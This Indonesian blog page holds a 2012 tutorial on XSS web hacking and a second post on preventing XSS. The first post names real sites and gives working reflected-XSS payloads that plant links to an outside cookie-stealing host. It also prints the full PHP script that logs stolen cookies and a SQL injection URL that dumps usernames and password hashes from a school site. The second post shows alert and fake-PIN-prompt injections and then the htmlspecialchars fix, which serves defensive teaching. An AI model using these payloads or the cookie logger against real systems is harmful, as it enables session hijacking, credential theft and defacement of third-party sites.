Web Hacking dengan XSS

by Administrator Tags web - Minggu, Februari 19, 2012

<div dir="ltr" style="text-align: left;" trbidi="on"><br />
<div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">nah kali ini ane ingin berbagi pengetahuan dengan sobat blogger tentang </span><span class="Apple-style-span" style="color: red;">web hacking dengan XSS</span><span style="color: black;">, mungkin ada yang belum tau, apa itu </span><span class="Apple-style-span" style="color: red;">XSS</span><span style="color: black;">..<o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;"><a href="http://flanoids.blogspot.com/" target="_blank">(XSS)Cross site scripting</a> adalah kelemahan keamanan yang terjadi pada penggunaan teknologi dynamic page. Cross site scripting dapat diartikan sebagai kelemahan yang terjadi akibat ketidakmampuan server dalam memvalidasi input yang diberikan oleh pengguna. Algoritma, yang digunakan untuk pembuatan halaman yang diinginkan, tidak mampu melakukan penyaringan terhadap masukkan tersebut.Hal ini memungkinkan halaman yang dihasilkan menyertakan perintah yang sebenarnya tidak diperbolehkan.<o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">Cross site scripting merupakan kelemahan yang populer untuk dieksploitasi. Namun sayangnya, banyak penyedia layanan yang tidak mengakui kelemahan tersebut dan melakukan perubahan pada sistem yang mereka gunakan.Citra penyedia layanan merupakan harga yang dipertaruhkan ketika mereka mengakui kelemahan tersebut.Sayangnya dengan tindakan ini konsumen atau pengguna menjadi pihak yang dirugikan.<o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">Cross site scripting bekerja bak penipu dengan kedok yang mampu mengelabui orang yang tidak waspada. Elemen penting dari keberhasilan cross site scripting adalah social engineering yang baik dari si penipu. Social engineeringmerupakan elemen terpenting yang menentukan keberhasilan penipuan yang akan dilakukan. Cross site scripting memampukan seseorang yang tidak bertanggungjawab.<o:p></o:p></span></div><div class="MsoNormal"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">nah cukup buat teori nya, lang sung aja prakteknya..<o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">seperti yang kita ketahui bahwa XSS, merupakan suatu cara menyilangkan situs target debgan script yang kita buat,,  pertama-tama, kita harus mengetahui situs yang kita jadikan target itu vuln atau gak,  supaya gampang agan bisa makai software acunetix,,  agan bisa<span class="apple-converted-space"> </span></span><a href="http://www.acunetix.com/vulnerability-scanner/download.htm" target="_blank"><b><span class="Apple-style-span" style="color: red;">download disini</span></b></a><b><span class="Apple-style-span" style="color: red;">.</span></b><span style="color: black;"><o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">setelah kita mengetahui bahwa situs itu rentan di hack maka, mulai lah kita membangun script untuk melakukan penyilangan tersebut, baik itu </span><span class="Apple-style-span" style="color: red;">SQL, PHP, dsb..</span><o:p></o:p></div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">contoh disini ane menemukan beberapa situs yang rentan terhadap XSS, yaitu situs PLN, sman1 cilacap, dan situs arthagraha.com ..disitus PLN ane menemukan page yang sangat rentan terhadap XSS, yaitu pada direktori berikut  </span><span style="color: red;">http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=  </span><span style="color: black;">seterusnya kita buat script yang sesuai untuk menyilangkan situs tersebut, hingga halaman tersebut akan terliahat berbeda,,  contoh scriptnya : <o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: red;">" style="display:none"></iframe><p align="center"><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="_blank"><img src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" border="0"></a></p><iframe style="display:none"></span><span style="color: black;"><o:p></o:p></span></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><span style="color: black;">setelah itu gabungkan url yang </span><span class="Apple-style-span" style="color: red;">vuln</span><span style="color: black;"> tadi dengan script yang kita buat tadi..  maka akan menghasilkan penampakan seperti berikut :<o:p></o:p></span></div><div class="MsoNormal"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><a href="http://www.blogger.com/goog_913488426"><span class="Apple-style-span" style="color: red;">http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan</span></a><a href="http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=%22%20style=%22display:none%22%3E%3C/iframe%3E%3Cp%20align=%22center%22%3E%3Ca%20href=%22http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php%22%20target=%22_blank%22%3E%3Cimg%20src=%22http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG%22%20border=%220%22%3E%3C/a%3E%3C/p%3E%3Ciframe%20style=%22display:none%22%3E" target="_blank"><span class="Apple-style-span" style="color: red;">=" style="display:none"></iframe><p align="center"><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="_blank"><img src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" border="0"></a></p><iframe style="display:none"></span></a><o:p></o:p></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;">jika agan masuk ke URL tersebut akan mendapatkan halaman seperti gambar berikut :<o:p></o:p></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe2-Be1RqnZij-uciJttnIsq-Sp5T1Uhzn5juqsQx9fVGblbp3o2IxKreewLxpygMW9Tfd8xbjzGwsTMu1oOBWY1sdIO0aFMwQjpb1ZvOdtDnXEcKrDe-mbUCuEfFwRQxVnpVjoYiypcs/s1600/pln.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="207" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe2-Be1RqnZij-uciJttnIsq-Sp5T1Uhzn5juqsQx9fVGblbp3o2IxKreewLxpygMW9Tfd8xbjzGwsTMu1oOBWY1sdIO0aFMwQjpb1ZvOdtDnXEcKrDe-mbUCuEfFwRQxVnpVjoYiypcs/s400/pln.PNG" width="400" /></a></div><div style="margin-bottom: .0001pt; margin: 0in;"><span class="Apple-style-span" style="color: #0070c0;"><br />
</span></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;">Nah tidak Cuma sampai disitu web hacking dengan XSS,,  jika admin dari web tersebut mengklik gambar yang kita tanam di halaman web tersebut maka secara otomatis data dari admin tersebut akan kita tangkap yakni cookiesnya..  tapi disini saya tidak membahas hacking web dengan cookies, mungkin lain kali..  <span style="font-family: Wingdings;">J</span> </div><div style="margin-bottom: .0001pt; margin: 0in;"> Script untuk mencuri data tersebut merupakan script php yang telah kita upload sebelum nya di hostingan kita..  ini contoh script php nya :</div><div style="margin-bottom: .0001pt; margin: 0in;"><div style="background-color: white; border: 1px solid #ccc; height: 80px; overflow: auto; padding: 5px; width: 500px;"><br />
<span class="Apple-style-span" style="color: red;"><?php </span><br />
<br />
<span class="Apple-style-span" style="color: red;">function GetIP() </span><br />
<span class="Apple-style-span" style="color: red;">{ </span><br />
<span class="Apple-style-span" style="color: red;">   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) </span><br />
<span class="Apple-style-span" style="color: red;">      $ip = getenv("HTTP_CLIENT_IP"); </span><br />
<span class="Apple-style-span" style="color: red;">   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) </span><br />
<span class="Apple-style-span" style="color: red;">      $ip = getenv("HTTP_X_FORWARDED_FOR"); </span><br />
<span class="Apple-style-span" style="color: red;">   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) </span><br />
<span class="Apple-style-span" style="color: red;">      $ip = getenv("REMOTE_ADDR"); </span><br />
<span class="Apple-style-span" style="color: red;">   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown")) </span><br />
<span class="Apple-style-span" style="color: red;">      $ip = $_SERVER['REMOTE_ADDR']; </span><br />
<span class="Apple-style-span" style="color: red;">   else </span><br />
<span class="Apple-style-span" style="color: red;">      $ip = "unknown"; </span><br />
<span class="Apple-style-span" style="color: red;">   return($ip); </span><br />
<span class="Apple-style-span" style="color: red;">} </span><br />
<br />
<span class="Apple-style-span" style="color: red;">function logData() </span><br />
<span class="Apple-style-span" style="color: red;">{ </span><br />
<span class="Apple-style-span" style="color: red;">   $ipLog="log.txt"; </span><br />
<span class="Apple-style-span" style="color: red;">   $cookie = $_SERVER['QUERY_STRING']; </span><br />
<span class="Apple-style-span" style="color: red;">   $register_globals = (bool) ini_get('register_gobals'); </span><br />
<span class="Apple-style-span" style="color: red;">   if ($register_globals) $ip = getenv('REMOTE_ADDR'); </span><br />
<span class="Apple-style-span" style="color: red;">   else $ip = GetIP(); </span><br />
<br />
<span class="Apple-style-span" style="color: red;">   $rem_port = $_SERVER['REMOTE_PORT']; </span><br />
<span class="Apple-style-span" style="color: red;">   $user_agent = $_SERVER['HTTP_USER_AGENT']; </span><br />
<span class="Apple-style-span" style="color: red;">   $rqst_method = $_SERVER['METHOD']; </span><br />
<span class="Apple-style-span" style="color: red;">   $rem_host = $_SERVER['REMOTE_HOST']; </span><br />
<span class="Apple-style-span" style="color: red;">   $referer = $_SERVER['HTTP_REFERER']; </span><br />
<span class="Apple-style-span" style="color: red;">   $date=date ("l dS of F Y h:i:s A"); </span><br />
<span class="Apple-style-span" style="color: red;">   $log=fopen("$ipLog", "a+"); </span><br />
<br />
<span class="Apple-style-span" style="color: red;">   if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog)) </span><br />
<span class="Apple-style-span" style="color: red;">      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>"); </span><br />
<span class="Apple-style-span" style="color: red;">   else </span><br />
<span class="Apple-style-span" style="color: red;">      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n"); </span><br />
<span class="Apple-style-span" style="color: red;">   fclose($log); </span><br />
<span class="Apple-style-span" style="color: red;">} </span><br />
<br />
<span class="Apple-style-span" style="color: red;">logData(); </span><br />
<br />
<span class="Apple-style-span" style="color: red;">?></span></div></div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;">Dan jika admin atau orang lain yang mengklik gambar tersebut kita akan mendapatkan data mereka seperti berikut :</div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><a href="http://keamanan-komputer.webhostingindonesia.net/log.txt" target="_blank"><span class="Apple-style-span" style="color: red;">http://keamanan-komputer.webhostingindonesia.net/log.txt</span></a><span class="Apple-style-span" style="color: red;"> </span> (silahkan diklik untuk melihat contoh data yang tertangkap )</div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;">dan contoh lainnya situs yang rentan XSS..<br />
<br />
<br />
<a href="http://www.arthagraha.com/NewsPOP.asp?title=Critical%20Cross%20Site%20Scripting!%3C/title%3E%3C/head%3E%3Cbody%3E%3Ccenter%3E%3Ch1%3EXSSED%3C/h1%3Eby%3Cbr%3E%3Cbr%3E%3Cb%3EFLANOIDS%3Cbr%3Ehttp://flanoids.blogspot.com%3Cbr%3E%3Cbr%3E%3Ca%20href=%22http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php%22%20target=%22new%22%3E%3Cimg%20border=%220%22%20src=%22http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG%22%20alt=%22Enter%20Kelompok%206%20-%20http://keamanan-komputer.webhostingindonesia.net/%22%3E%3C/a%3E%3Cnoscript%3E" target="_blank"><span class="Apple-style-span" style="color: red;">http://www.arthagraha.com/NewsPOP.asp?title=Critical Cross Site Scripting!</title></head><body><center><h1>XSSED</h1>by<br><br><b>FLANOIDS<br>http://flanoids.blogspot.com<br><br><a href="http://keamanan-komputer.webhostingindonesia.net/scriptcookie.php" target="new"><img border="0" src="http://keamanan-komputer.webhostingindonesia.net/WEBHACKINGFLANOIDS.PNG" alt="Enter Kelompok 6 - http://keamanan-komputer.webhostingindonesia.net/"></a><noscript></span></a><br />
<br />
dan yang satu ini merupakan XSS dengan SQL injection, yang berfungsi untuk menampilkan username dan password user dalam situs tersebut,  akan tetapi password masih dala bahasa MD5, dan kita harus mendeskripsikan bahasa MD5 tersebut terlebih dahulu..<br />
<br />
<br />
<a href="http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28%20union%20select%201,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5%20from%20phpbb_users" target="_blank"><span class="Apple-style-span" style="color: red;">http://www.sman1clp.com/index.php?cat=artikel&idartikel=-28 union select 1,2,3,group_concat(user_id,0x2d2d,username,0x2d2d,user_password),5 from phpbb_users</span></a><br />
<br />
</div><div style="margin-bottom: .0001pt; margin: 0in;"><br />
</div><div style="margin-bottom: .0001pt; margin: 0in;">sekian dari saya yang masih sangat nubie ini, harap maklum karena saya masih pemula yang ingin berbagi, dan artikel ini saya buat hanya untuk bahan pembelajaran semata bukan untuk mengajarkan berbuat jahat..  mohon maaf jika ada kata-kata yang salah,  wasalam.. <span style="font-family: Wingdings;">J</span></div><div class="MsoNormal"><br />
</div><div class="MsoNormal"><br />
</div></div>

nah kali ini ane ingin berbagi pengetahuan dengan sobat blogger tentang web hacking dengan XSS , mungkin ada yang belum tau, apa itu XSS .....

Tips Melihat Password Bintang

by Administrator Tags web - Rabu, Februari 15, 2012

Bosen gak ada kegiatan, kebetulan ada temen login di Laptop untuk Browsing. Pas kebetulan dia pergi sambil ninggalin password bintangnya ...

Mencegah Website Dari Serangan XSS

by Administrator Tags web - Rabu, Februari 15, 2012

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="color: #202020; font-family: Arial, Tahoma, Verdana; font-size: 12px; line-height: 18px;"></span><br />
<div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><img src="http://www.binushacker.net/wp-content/uploads/xss-for-sperad-virus.jpg" /><br />
Pada bahasan-bahasan sebelumnya, kita telah membahas tentang dasar/konsep pembuatan form dengan HTML dan PHP. Nah, sekarang mari kita tes, seberapa amankah script tersebut dari serangan peretas.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">XSS (Cross Site Scripting) adalah salah satu teknik hacking yang menggunakan metode script injection melalui celah tertentu pada suatu halaman website. Celah tersebut terkadang bisa melalui input form, atau dengan cara memodifikasi parameter URL. Adapun script yang di-injeksikan terdapat beberapa macam, bisa HTML Tag, JavaScript, PHP, ASP (sesuai web server), dll.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Sekarang mari kita coba pada form html yang menggunakan metode POST berikut,</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><html><br />
<head><br />
<title>Form in One file</title><br />
</head><br />
<body><center><h5><br />
<?php<br />
if ($_POST) {<br />
echo “Anda tinggal di ” . $_POST['alamat'];<br />
} else {<br />
?><br />
<form action=”" method=”POST”><br />
Alamat : <input type=”text” name=”alamat”><br />
<input type=”submit” value=”Proses”><br />
</form><br />
<?php<br />
}<br />
?><br />
<br><br><p><br />
Copyright @ www.almansyurin.web.id<br />
</body><br />
</html></div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Script tersebut diatas, akan menghasilkan sebuah form yang bernama Alamat. Sekilas form tersebut terlihat biasa-biasa saja, namun coba kita injeksikan HTML Tag berikut pada form tersebut.</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><body bgcolor=”black”><center><font color=”green” size=”30″><br />
This Site Was Hacked<br />
</font></center></body></div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Dan lihat apa yang terjadi, web server akan tetap memproses input HTML Tag tersebut, dan menampilkanya pada web browser. Terus pertanyaanya adalah, apa dampak yang ditimbulkan dari serangan XSS tersebut?? toh itu juga tidak merusak server, hanya merubah tampilanya saja?? Hal tersebut akan kita kupas di akhir bahasan nanti.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://almansyurin.web.id/wp-content/uploads/2011/05/ScreenHunter_01-May.-12-10.58.jpg" style="color: #b60000; text-decoration: none;"><img alt="" height="181" src="http://almansyurin.web.id/wp-content/uploads/2011/05/ScreenHunter_01-May.-12-10.58.jpg" style="border-bottom-style: none; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; border-width: initial; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="ScreenHunter_01 May. 12 10.58" width="431" /></a></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Berikut contoh lain serangan XSS yang dilakukan melalui modifikasi parameter URL (Uniform Resource Locator). Hal ini biasa terjadi pada form HTML yang menggunakan metode GET. Lihatlah parameter URL berikut,</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">http://www.almansyurin.web.id/onefile.php?alamat=Mojokerto</div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Sekarang bagaimana kalau kita sisipkan kode JavaScript berikut di belakang parameter tersebut. Lebih tepatnya, ganti kata “Mojokerto” dengan script di bawah ini,</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><script>alert(“Is This Vulnerable!”);</script></div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Dan kode Javascript pun akan tetap diproses, dan ditampilkan kembali pada web browser client. Serangan XSS semacam ini disebut “Reflected XSS”, karna hanya akan dipantulkan kembali ke client tersebut.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Walaupun HTML Tag dan Javascript injection ini tidak berpengaruh besar pada sisi server, namun hal ini juga termasuk vulnerable. Karena dapat merusak tampilan website tersebut, dengan sedikit kreatifitas dari si peretas.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Nah, bagaimana sekarang kalau kita injeksikan kode Javascript berikut,</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><script>prompt(“Masukan Nomor PIN Anda?”,” “);</script></div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Pengunjung/Client yang masih awam, pastinya akan dengan mudah percaya dan kemudian memasukan PIN mereka tersebut. Tapi bagaimana cara kerjanya, kalau hal tersebut hanya dipantulkan pada web browser si peretas??</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://almansyurin.web.id/wp-content/uploads/2011/05/ScreenHunter_03-May.-12-12.15.jpg" style="color: #b60000; text-decoration: none;"><img alt="" height="141" src="http://almansyurin.web.id/wp-content/uploads/2011/05/ScreenHunter_03-May.-12-12.15.jpg" style="border-bottom-style: none; border-color: initial; border-color: initial; border-left-style: none; border-right-style: none; border-top-style: none; border-width: initial; border-width: initial; margin-bottom: 10px; margin-left: 0px; margin-right: 10px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;" title="ScreenHunter_03 May. 12 12.15" width="324" /></a></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Jawabanya mudah sekali, yaitu dengan LINK HTML. Dengan membuat link yang menuju pada halaman yang sudah kita injeksikan tersebut, para korban akan lebih mudah tertipu. LINK tersebut juga dapat kita masukan ke website korban melalui fasilitas GuestBook, atau Komentar.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Saya disini tidak mengajarkan untuk berbuat jahat, namun memang itulah apa adanya yang harus kita ketahui. Dan untuk pencegahanya, kita dapat menggunakan fungsi khusus “htmlspecialchars” dari PHP. Tambahkan fungsi tersebut seperti contoh-contoh berikut,</div><blockquote style="background-attachment: initial; background-clip: initial; background-color: #e8e8e8; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(102, 102, 102); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(102, 102, 102); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(221, 221, 221); border-top-style: solid; border-top-width: 1px; margin-bottom: 15px; margin-left: 25px; margin-right: 25px; margin-top: 0px; padding-bottom: 0px; padding-left: 15px; padding-right: 20px; padding-top: 10px;"><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">//contoh method POST<br />
$umur = htmlspecialchars($_POST['age']);<br />
//contoh method GET<br />
$nama = htmlspecialchars($_GET['name']);<br />
//contoh langsung<br />
echo “Alamat : ” . htmlspecialchars($_POST['alamat']);</div></blockquote><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Fungsi khusus tersebut adalah untuk memfilter semua input dari client, untuk dirubah menjadi STRING. Sehingga akan tampil apa adanya.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Sedangkan untuk serangan XSS mengguanakn PHP sebagai bahan injeksinya, sebagian besar tidak akan berfungsi. Karna script tersebut akan langsung dirubah menjadi STRING. Lebih mudahnya adalah, tidak bisa menjalankan PHP di dalam PHP.</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Untuk mengakali hal tersebut pun, kita masih bisa menggunakan fungsi eval(), yang tentunya Insya Allah akan kita ulas di bahasan berikutnya. AJKH</div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Artikel by: almansyurin @ <strong>moedzta97@gmail.com</strong></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><strong><br />
</strong></div><div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 15px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: right;"><strong>Source : </strong><span class="Apple-style-span" style="color: black; font-family: 'Times New Roman'; font-size: small; line-height: normal;"><a href="http://www.binushacker.net/" target="_blank">http://www.binushacker.net/</a></span></div></div>

Pada bahasan-bahasan sebelumnya, kita telah membahas tentang dasar/konsep pembuatan form dengan HTML dan PHP. Nah, sekarang mari kita tes,...